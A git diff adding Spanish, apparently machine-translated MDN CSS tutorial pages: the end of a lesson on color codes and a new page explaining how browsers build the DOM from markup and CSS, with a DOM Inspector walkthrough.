+<pre class="brush:css  language-css" style="margin: 0px 0px 20px; padding: 1em 0px 1em 30px; border-width: 0px 0px 0px 6px; border-left-style: solid; font-family: Consolas, Monaco, 'Andale Mono', monospace; font-size: 14px; line-height: 19px; color: rgb(77, 78, 83); overflow: auto; direction: ltr; text-align: left; white-space: pre; position: relative; text-shadow: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; background: 50% 0% rgb(250, 251, 252);"><code class="language-css" style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; text-align: left; white-space: pre; color: rgb(77, 78, 83); text-shadow: none;"><span class="token property" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 0, 85);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">background-color </span></font></font></span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 153, 153);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">:</span></font></font></span><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> # fffff4 </span></font></font><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 153, 153);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">;</span></font></font></span></code></pre>
+
+<div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 0px; background: 0px 0px;"> </div>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Los </span></font></font><strong style="margin: 0px; padding: 0px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Más detalles</span></font></font></strong><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> cajas utilizan este gris pálido:</span></font></font></p>
+
+<pre class="brush:css  language-css" style="margin: 0px 0px 20px; padding: 1em 0px 1em 30px; border-width: 0px 0px 0px 6px; border-left-style: solid; font-family: Consolas, Monaco, 'Andale Mono', monospace; font-size: 14px; line-height: 19px; color: rgb(77, 78, 83); overflow: auto; direction: ltr; text-align: left; white-space: pre; position: relative; text-shadow: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; background: 50% 0% rgb(250, 251, 252);"><code class="language-css" style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-weight: inherit; font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; text-align: left; white-space: pre; color: rgb(77, 78, 83); text-shadow: none;"><span class="token property" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 0, 85);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">background-color </span></font></font></span><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 153, 153);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">:</span></font></font></span><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> # F4F4F4 </span></font></font><span class="token punctuation" style="margin: 0px; padding: 0px; border: 0px; color: rgb(153, 153, 153);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">;</span></font></font></span></code></pre>
+</div>
+</div>
+
+<p> </p>
+
+<h2 id="Acción_El_uso_de_códigos_de_color" style="margin: 0px 0px 12px; padding: 0px; border: 0px; font-weight: 700; font-family: 'Open Sans', sans-serif; line-height: 30px; font-size: 2.14285714285714rem; letter-spacing: -1px; color: rgb(77, 78, 83); font-style: normal; font-variant: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Acción: El uso de códigos de color</span></font></font></h2>
+
+<ol style="margin: 0px 0px 24px; padding: 0px 0px 0px 40px; border: 0px; list-style-type: decimal; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);">
+ <li style="margin: 0px; padding: 0px 0px 6px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Edite su archivo CSS.</span></font></font></li>
+ <li style="margin: 0px; padding: 0px 0px 6px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Hacer el cambio se muestra aquí en negrita, para dar las letras iniciales un fondo azul claro. </span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">(La disposición y comentarios en el archivo probablemente difieren del archivo que se muestra aquí. Mantenga la disposición y los comentarios de la forma que prefiera.)</span></font></font>
+  <pre class="brush:css;highlight:[13]  language-css"><code class="language-css"><span class="token comment">/*** CSS Tutorial: Color page ***/</span>
+
+<span class="token comment">/* page font */</span>
+<span class="token selector">body </span><span class="token punctuation">{</span><span class="token property">font</span><span class="token punctuation">:</span> 16px <span class="token string">"Comic Sans MS"</span>, cursive<span class="token punctuation">;</span><span class="token punctuation">}</span>
+
+<span class="token comment">/* paragraphs */</span>
+<span class="token selector">p </span><span class="token punctuation">{</span><span class="token property">color</span><span class="token punctuation">:</span> blue<span class="token punctuation">;</span><span class="token punctuation">}</span>
+<span class="token selector">#first </span><span class="token punctuation">{</span><span class="token property">font-style</span><span class="token punctuation">:</span> italic<span class="token punctuation">;</span><span class="token punctuation">}</span>
+
+<span class="token comment">/* initial letters */</span>
+<span class="token selector">strong </span><span class="token punctuation">{</span>
+  <span class="token property">color</span><span class="token punctuation">:</span> red<span class="token punctuation">;</span>
+  <span class="token property">background-color</span><span class="token punctuation">:</span> #ddf<span class="token punctuation">;</span>
+  <span class="token property">font</span><span class="token punctuation">:</span> 200% serif<span class="token punctuation">;</span>
+  <span class="token punctuation">}</span>
+
+<span class="token selector">.carrot </span><span class="token punctuation">{</span><span class="token property">color</span><span class="token punctuation">:</span> red<span class="token punctuation">;</span><span class="token punctuation">}</span>
+<span class="token selector">.spinach </span><span class="token punctuation">{</span><span class="token property">color</span><span class="token punctuation">:</span> green<span class="token punctuation">;</span><span class="token punctuation">}</span></code></pre>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 0px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 19px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 38px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 57px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 76px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 95px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 114px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 133px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 152px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 171px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 190px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 209px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 228px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 247px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 266px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 285px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 304px; background: 0px 0px;"> </div>
+
+  <div class="line-number" style="margin: 1em 0px 0px; padding: inherit 0px; border: 0px; position: absolute; left: 0px; right: 0px; line-height: inherit; white-space: pre; top: 323px; background: 0px 0px;"> </div>
+
+  <div class="line-highlight" style=""> </div>
+ </li>
+ <li style="margin: 0px; padding: 0px 0px 6px; border: 0px;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Guarde el archivo y actualizar el navegador para ver el resultado.</span></font></font></li>
+</ol>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="font: 16px 'Comic Sans MS', cursive; color: blue;">
+    <table style="margin: 0px 0px 24px; padding: 0px; border-width: 1px 0px 0px 1px; border-style: solid; border-color: rgb(224, 224, 220); border-collapse: collapse; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);">
+     <tbody>
+      <tr style="margin: 0px; padding: 0px; border: 0px;">
+       <td style="margin: 0px; padding: 6px; border-width: 0px 1px 1px 0px; border-style: solid; border-color: rgb(224, 224, 220); text-align: left; font-style: italic; font-variant: normal; font-weight: normal; font-size: 16px; line-height: normal; font-family: 'Comic Sans MS', cursive; color: blue;"><strong style="margin: 0px; padding: 0px; border: 0px; color: red; font-style: normal; font-variant: normal; font-weight: normal; font-size: 32px; line-height: normal; font-family: serif; background-color: rgb(221, 221, 255);"><font><font>C</font></font></strong><font><font> ascading </font></font><strong style="margin: 0px; padding: 0px; border: 0px; color: green; font-style: normal; font-variant: normal; font-weight: normal; font-size: 32px; line-height: normal; font-family: serif; background-color: rgb(221, 221, 255);"><font><font>S</font></font></strong><font><font> tyle </font></font><strong style="margin: 0px; padding: 0px; border: 0px; color: green; font-style: normal; font-variant: normal; font-weight: normal; font-size: 32px; line-height: normal; font-family: serif; background-color: rgb(221, 221, 255);"><font><font>S</font></font></strong><font><font> heets</font></font></td>
+      </tr>
+      <tr style="margin: 0px; padding: 0px; border: 0px;">
+       <td style="margin: 0px; padding: 6px; border-width: 0px 1px 1px 0px; border-style: solid; border-color: rgb(224, 224, 220); text-align: left; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16px; line-height: normal; font-family: 'Comic Sans MS', cursive; color: blue;"><strong style="margin: 0px; padding: 0px; border: 0px; color: red; font-style: normal; font-variant: normal; font-weight: normal; font-size: 32px; line-height: normal; font-family: serif; background-color: rgb(221, 221, 255);"><font><font>C</font></font></strong><font><font> ascading </font></font><strong style="margin: 0px; padding: 0px; border: 0px; color: red; font-style: normal; font-variant: normal; font-weight: normal; font-size: 32px; line-height: normal; font-family: serif; background-color: rgb(221, 221, 255);"><font><font>S</font></font></strong><font><font> tyle </font></font><strong style="margin: 0px; padding: 0px; border: 0px; color: red; font-style: normal; font-variant: normal; font-weight: normal; font-size: 32px; line-height: normal; font-family: serif; background-color: rgb(221, 221, 255);"><font><font>S</font></font></strong><font><font> heets</font></font></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_example">
+<div class="tuto_type">
+<div class="tuto_type" style="margin: 0px; padding: 0px; border: 0px; font-weight: 700; text-align: left; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: 21px; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Desafío</span></font></font></div>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">En el archivo CSS, cambiara todos los nombres de los colores a los códigos de color de 3 dígitos sin afectar el resultado.</span></font></font></p>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">(Esto no se puede hacer exactamente, pero usted puede conseguir cerca. Para hacerlo exactamente lo que necesita códigos de 6 dígitos, y hay que buscar la especificación CSS o utilizar una herramienta gráfica para que coincida con los colores.)</span></font></font></p>
+<a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started/Color#tutochallenge" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-size: 12px; text-align: right; display: block; font-family: 'Open Sans', sans-serif; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal;" title="Mostrar una posible solución para el desafío"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">Ver una solución para el desafío.</span></font></font></a></div>
+</div>
+
+<h2 id="¿Y_ahora_qué" style="margin: 0px 0px 12px; padding: 0px; border: 0px; font-weight: 700; font-family: 'Open Sans', sans-serif; line-height: 30px; font-size: 2.14285714285714rem; letter-spacing: -1px; color: rgb(77, 78, 83); font-style: normal; font-variant: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">¿Y ahora qué?</span></font></font></h2>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><a class="button nextPage" href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started/Content" rel="next" style="margin: 20px 0px 0px 20px; padding: 5px 11px; border: 0px; color: rgb(77, 78, 83); text-decoration: none; cursor: pointer; display: inline-block; line-height: 1; font-weight: 400; letter-spacing: normal; text-transform: uppercase; border-radius: 4px; box-shadow: rgb(187, 191, 194) 0px -1px inset; float: right; background-color: rgb(234, 239, 242);" title="Contenido"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">IR A LA SIGUIENTE SECCIÓN: </span></font></font><br>
+ <font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">CONTENT</span></font></font></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">En su documento de muestra y el contenido de su hoja de estilo muestra estrictamente separados los estilo.</span></font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">La </span></font></font><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started/Content" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none;" title="/ En-US / docs / Web / guía / CSS / Getting_Started / contenido"><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;">siguiente sección</span></font></font></a><font><font><span class="remarkable-pre-marked" style="margin: 0px; padding: 0px; border: 0px; position: relative;"> explica cómo se puede hacer excepciones a esta estricta separación.</span></font></font></p>
diff --git a/files/es/web/css/introducción/how_css_works/index.html b/files/es/web/css/introducción/how_css_works/index.html
new file mode 100644
index 0000000000..7940c9a060
--- /dev/null
+++ b/files/es/web/css/introducción/how_css_works/index.html
@@ -0,0 +1,127 @@
+---
+title: Cómo funciona el CSS
+slug: Web/CSS/Introducción/How_CSS_works
+tags:
+  - CSS
+  - 'CSS:'
+  - 'CSS:Empezando'
+  - Diseño
+  - Guía
+  - Inicio
+  - Web
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS", "¿Por qué usar CSS?") }}<span id="result_box" lang="es"><span class="hps">Esta</span> <span class="alt-edited hps">tercera parte del</span> </span><span class="seoSummary">tutorial <a href="/en-US/docs/Web/Guide/CSS/Getting_started" title="en-US/docs/Web/Guide/CSS/Getting_started">Empezando CSS</a> </span><span id="result_box" lang="es"><span class="hps">explica cómo funciona</span> <span class="hps">el CSS</span> <span class="hps">en el navegador y</span> la finalidad<span class="hps"> del</span> <span class="atn hps">Modelo de Objeto de Documento (</span><span>DOM</span><span>)</span><span>.</span> <span class="hps">Usted también aprenderá</span> <span class="hps">cómo analizar</span> <span class="hps">el documento de</span> <span class="hps">muestra.</span></span></p>
+
+<h2 class="clearLeft" id="Información_Cómo_funciona_CSS"><span class="short_text" id="result_box" lang="es"><span class="hps">Información</span><span>: Cómo funciona</span> <span class="hps">CSS</span></span></h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Cuando un</span> <span class="hps">navegador muestra</span> <span class="hps">un documento, debe</span><span class="alt-edited hps"> combinar</span> <span class="hps">el contenido del documento</span> <span class="hps">con la </span><span class="hps">información </span></span><span id="result_box" lang="es"><span class="hps"> </span></span><span id="result_box" lang="es"><span class="hps">de </span></span><span id="result_box" lang="es"><span class="hps">su</span></span><span id="result_box" lang="es"><span class="hps"> estilo</span><span>.</span> Se <span class="hps">procesa</span> <span class="hps">el documento en</span> <span class="hps">dos</span> <span class="hps">etapas</span><span>:</span></span></p>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">El navegador</span> <span class="hps">convierte el</span> <span class="hps">lenguaje de marcado (</span></span><code><strong><em>markup</em></strong></code>)<span lang="es"> <span class="hps">y</span> <span class="alt-edited hps">el</span> <span class="hps">CSS</span> <span class="hps">en el <em><span class="seoSummary"><a href="en-US/docs/DOM" title="en-US/docs/DOM">DOM</a></span></em></span><span class="seoSummary"><strong> </strong></span><span class="hps">(Document Object</span> <span class="hps">Model)</span><span>.</span> <span class="hps">El DOM</span> <span class="hps">representa el documento</span> <span class="hps">en la memoria del</span> <span class="hps">ordenador.</span></span> <span id="result_box" lang="es"><span class="hps">Combina</span> <span class="hps">el contenido del documento</span> <span class="hps">con su estilo</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">El navegador muestra</span> <span class="hps">el contenido de la</span> <span class="hps">DOM</span><span>.</span></span></li>
+</ol>
+
+<p><span id="result_box" lang="es"><span class="hps">Un</span> <span class="hps">lenguaje de marcado</span> <span class="hps">utiliza <em>elementos</em></span><em> </em><span class="hps">para definir</span> <span class="hps">la estructura del documento</span><span>.</span> <span class="hps">Usted marca</span> <span class="hps">un elemento</span> <span class="hps">utilizando</span> <span class="hps"><em>etiquetas</em>,</span> <span class="hps">que son cadenas</span> <span class="hps">que comienzan con</span> <span class="hps">'&lt;'</span> <span class="hps">y termina con</span> <span class="hps">'&gt;'</span><span>.</span> <span class="hps">La mayoría de los</span> <span class="hps">elementos</span> <span class="hps">tienen un par de</span> <span class="hps">etiquetas,</span> <span class="hps">una etiqueta de inicio</span> <span class="hps">y</span> <span class="hps">una etiqueta de cierre</span><span>.</span> <span class="hps">Para la</span> <span class="hps">etiqueta de inicio</span><span>, coloque</span> <span class="hps">el nombre del elemento</span> <span class="hps">entre</span> <span class="hps">'&lt;'</span> <span class="atn hps">y '</span><span>&gt;'</span><span>.</span> <span class="hps">Para la</span> <span class="hps">etiqueta final</span><span>, coloque un</span> <span class="hps">'/'</span> <span class="atn hps">después de '</span><span>&lt;' y</span> <span class="hps">antes del</span> <span class="hps">nombre del elemento.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Dependiendo del</span> <span class="hps">lenguaje de marcado</span><span>,</span> <span class="hps">algunos</span> <span class="hps">elementos tienen</span> <span class="hps">sólo</span> <span class="hps">una etiqueta de inicio</span><span>,</span> <span class="hps">o</span> <span class="hps">una sola etiqueta</span> <span class="hps">donde el</span> <span class="hps">'/'</span> viene <span class="hps">después del</span> <span class="hps">nombre del elemento.</span> <span class="hps">Un elemento</span> <span class="hps">también</span> <span class="hps">puede ser un contenedor </span><span class="hps">e incluir</span> <span class="hps">otros elementos</span> <span class="hps">entre</span> <span class="hps">su</span> <span class="hps">etiqueta de inicio</span> <span class="hps">y la etiqueta de cierre</span><span>.</span> <span class="alt-edited hps">Sólo recuerda</span> <span class="hps">cerrar</span> <span class="hps">siempre</span> <span class="hps">las</span> <span class="hps">etiquetas</span> <span class="hps">dentro del contenedor.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Un</span> <span class="hps">DOM</span> <span class="hps">tiene una estructura</span> <span class="hps">en forma de árbol</span><span>.</span> <span class="hps">Cada elemento</span><span>,</span> <span class="hps">atributo</span> <span class="hps">y</span> <span class="hps">extensión de texto</span> <span class="hps">en el</span> <span class="hps">lenguaje de marcado</span> <span class="hps">se convierte en un</span> <span class="hps"><em>nodo </em>de la</span> <span class="hps">estructura de árbol.</span> <span class="hps">Los nodos</span> <span class="hps">se definen por su</span> <span class="hps">relación con otros</span> <span class="hps">nodos DOM</span><span>.</span> <span class="hps">Algunos elementos</span> <span class="hps">son</span> <span class="hps">los padres de los</span> <span class="hps">nodos secundarios</span><span>,</span> <span class="hps">y</span> <span class="hps">los nodos secundarios</span> <span class="hps">tienen hermanos</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Comprender el</span> <span class="hps">DOM</span> <span class="hps">le ayuda a diseñar</span><span>, depurar</span> <span class="hps">y mantener su</span> <span class="hps">CSS</span><span>,</span> <span class="hps">porque el</span> <span class="hps">DOM</span> <span class="hps">es donde su</span> <span class="hps">CSS y</span> <span class="hps">el contenido del documento</span> <span class="hps">se reúnen</span><span>.</span></span></p>
+
+<div class="tuto_example">
+<div class="tuto_type">Ejemplo</div>
+<span id="result_box" lang="es"><span class="hps">En</span> <span class="alt-edited hps">el</span> <span class="hps">documento de ejemplo</span><span>,</span> <span class="alt-edited hps">las</span> <span class="hps">etiqueta &lt;p&gt;</span> <span class="hps">y su</span> <span class="hps">etiqueta de cierre</span> <span class="atn hps">&lt;</span><span>/</span> <span class="hps">p&gt;</span> <span class="hps">crean un contenedor</span><span>:</span></span>
+
+<pre class="brush:html">&lt;p&gt;
+  &lt;strong&gt;C&lt;/strong&gt;ascading
+  &lt;strong&gt;S&lt;/strong&gt;tyle
+  &lt;strong&gt;S&lt;/strong&gt;heets
+&lt;/p&gt;
+</pre>
+
+<h2 id="Ejemplo_en_vivo"><span class="short_text" id="result_box" lang="es"><span class="hps">Ejemplo</span> en <span class="hps">vivo</span></span></h2>
+
+<p><a href="http://jsfiddle.net/djaniketster/6jbpS/">http://jsfiddle.net/djaniketster/6jbpS/</a></p>
+
+<p><span id="result_box" lang="es"><span class="hps">En el</span> <span class="hps">DOM</span><span>, el nodo</span> <span class="hps">correspondiente P</span> <span class="hps">es</span> <span class="hps">uno de los padres</span><span>.</span> <span class="hps">Sus</span> <span class="hps">hijos</span> <span class="hps">son los nodos</span> <code><em><strong>STRONG </strong></em></code><span class="alt-edited hps">y</span> <span class="hps">los</span> <span class="hps">nodos de texto</span><span>.</span> <span class="hps">Los nodos</span> <code><em><strong>STRONG </strong></em></code></span><span lang="es"><span class="alt-edited hps">son en sí mismos</span> <span class="hps">padres</span><span>,</span> <span class="hps">con</span> <span class="hps">los nodos de texto</span> <span class="hps">como</span> <span class="hps">sus hijos</span><span>:</span></span></p>
+
+<pre><span style="color: black;">P</span>
+├─<span style="color: black;">STRONG</span>
+│ └─"<span style="color: black;">C</span>"
+├─"<span style="color: black;">ascading</span>"
+├─<span style="color: black;">STRONG</span>
+│ └─"<span style="color: black;">S</span>"
+├─"<span style="color: black;">tyle</span>"
+├─<span style="color: black;">STRONG</span>
+│ └─"<span style="color: black;">S</span>"
+└─"<span style="color: black;">heets</span>"</pre>
+</div>
+
+<h2 id="Acción_Analizando_un_DOM"><span class="short_text" id="result_box" lang="es"><span class="hps">Acción:</span> <span class="hps">Analizando un</span> <span class="hps">DOM</span></span></h2>
+
+<h3 id="El_uso_del_Inspector_DOM"><span class="short_text" id="result_box" lang="es"><span class="hps">El uso del Inspector</span> <span class="hps">DOM</span></span></h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Para analizar un</span> <span class="hps">DOM</span><span>,</span> <span class="hps">se necesita un software</span> <span class="hps">especial.</span> <span class="hps">Usted puede usar</span> el </span><span id="result_box" lang="es"><span class="alt-edited hps">complemento de </span> </span><span id="result_box" lang="es"><span class="hps">Mozilla </span></span><a href="/en/DOM_Inspector" title="en/DOM_Inspector">DOM Inspector</a> (DOMi) <span id="result_box" lang="es"><span class="hps">para analizar un</span> <span class="hps">DOM</span><span>.</span> <span class="hps">Usted sólo tendrá que</span> <span class="hps">instalar el</span> <span class="atn hps">complemento (</span><span>ver</span> <span class="hps">más detalles abajo)</span><span>.</span></span></p>
+
+<ol>
+ <li><span id="result_box" lang="es"><span class="hps">Utilice</span> <span class="hps">el navegador</span> <span class="hps">Mozilla</span> <span class="hps">para abrir</span> <span class="hps">el documento</span> <span class="hps">en versión HTML</span><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">Desde la barra de</span> <span class="hps">menú de su </span><span class="hps">navegador</span><span>, selecciona</span> <strong><span class="hps">Herramientas&gt;</span> <span class="hps">Inspector DOM</span></strong><span>,</span> <span class="hps">o <strong>Herramientas</strong></span><strong><span>&gt;</span> <span class="hps">Desarrollo Web&gt;</span> <span class="hps">Inspector DOM</span></strong><span>.</span></span>
+  <div class="tuto_details">
+  <div class="tuto_type"><span id="result_box" lang="es"><span class="alt-edited hps">Más</span> <span class="hps">detalles</span></span></div>
+
+  <p><span id="result_box" lang="es"><span class="hps">Si el navegador</span> <span class="hps">Mozilla</span> <span class="hps">no tiene</span> <span class="hps">Domi</span><span>, puede</span><a href="https://addons.mozilla.org/en-US/firefox/addon/6622/"> instalarlo del sitio de complementos</a> <span class="hps">y reiniciar el</span> <span class="hps">navegador.</span> <span class="hps">Luego regrese</span> <span class="hps">a este</span> <span class="hps">tutorial.</span></span></p>
+
+  <p><span id="result_box" lang="es"><span class="hps">Si no</span> <span class="hps">desea instalar</span> <span class="hps">Domi</span> <span class="hps">(o</span> <span class="hps">estás usando</span> <span class="hps">un navegador que no</span> <span class="hps">Mozilla)</span><span>, puede utilizar</span> <span class="hps">Web</span> <span class="atn hps">X-</span><span>Ray</span> <span class="hps">Goggles,</span> <span class="hps">como se describe en</span> <span class="hps">la siguiente sección.</span> <span class="hps">O bien, puede</span> <span class="hps">omitir esta sección</span> <span class="hps">e ir directamente a</span> <span class="hps">la página siguiente.</span> <span class="hps">Saltarse</span> <span class="hps">esta sección</span> <span class="hps">no interfiere con</span> <span class="hps">el resto del</span> <span class="hps">tutorial.</span></span></p>
+  </div>
+ </li>
+ <li><span id="result_box" lang="es"><span class="alt-edited hps">En el</span> <span class="hps">Domi</span><span>, expanda</span> <span class="hps">los nodos</span> <span class="hps">de su</span> <span class="hps">documento</span> <span class="hps">haciendo clic en</span> <span class="hps">las flechas</span><span>.</span></span>
